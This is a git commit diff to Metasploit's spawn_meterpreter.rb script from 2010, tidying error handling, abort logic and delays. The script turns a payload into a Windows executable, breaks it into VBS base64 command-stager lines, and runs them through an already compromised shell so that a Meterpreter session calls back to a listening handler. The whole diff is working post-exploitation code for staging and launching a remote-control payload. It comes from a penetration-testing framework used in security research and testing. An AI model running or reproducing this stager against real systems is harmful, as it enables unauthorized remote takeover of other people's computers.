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rescue more, handle return from shell_command_token_win32 better, remove cmd delay since its not needed here, dont sleep before cleanup when aborting

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git-svn-id: file:///home/svn/framework3/trunk@9590 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-06-23 02:27:58 +00:00
parent ee1e9685aa
commit 2fdf0a1123
1 changed files with 48 additions and 40 deletions
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88
scripts/shell/spawn_meterpreter.rb
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@ -53,7 +53,7 @@ if (use_handler)
# It takes a little time for the resources to get set up, so sleep for
# a bit to make sure the exploit is fully working. Without this,
# mod.get_resource doesn't exist when we need it.
Rex::ThreadSafe.sleep(0.5)
select(nil, nil, nil, 0.5)
if framework.jobs[mh.job_id.to_s].nil?
raise RuntimeError, "Failed to start multi/handler - is it already running?"
end
@ -72,67 +72,75 @@ end
#
# Make the payload into an exe for the CmdStager
#
lplat = [Msf::Platform::Windows]
larch = [ARCH_X86]
opts = {
:linemax => 1700,
:decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
#:persist => true
}
delay = 0.25
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)
#
# Generate the stager command array
#
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
#
# Calculate the total size
#
total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length }
#
# Run the commands one at a time
#
aborted = false
begin
lplat = [Msf::Platform::Windows]
larch = [ARCH_X86]
opts = {
:linemax => 1700,
:decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
#:persist => true # keep temp files (for debugging)
}
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)
#
# Generate the stager command array
#
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
#
# Calculate the total size
#
total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length }
#
# Run the commands one at a time
#
sent = 0
cmds.each { |cmd|
ret = session.shell_command_token_win32(cmd)
if (ret)
if (not ret)
print_error("Error: Unable to execute command!")
aborted = true
else
ret.strip!
print_error(ret) if (not ret.empty?)
if (not ret.empty?)
print_error(ret)
aborted = true
end
end
break if aborted
sent += cmd.length
select(nil, nil, nil, delay)
progress(total_bytes, sent)
}
rescue ::Interrupt
# TODO: cleanup partial uploads!
aborted = true
rescue => e
print_error("Error: #{e}")
aborted = true
end
#
# Stop the job
#
if (use_handler)
Thread.new do
# Wait up to 10 seconds for the session to come in..
select(nil, nil, nil, 10)
if not aborted
# Wait up to 10 seconds for the session to come in..
select(nil, nil, nil, 10)
end
framework.jobs.stop_job(mh.job_id)
end
end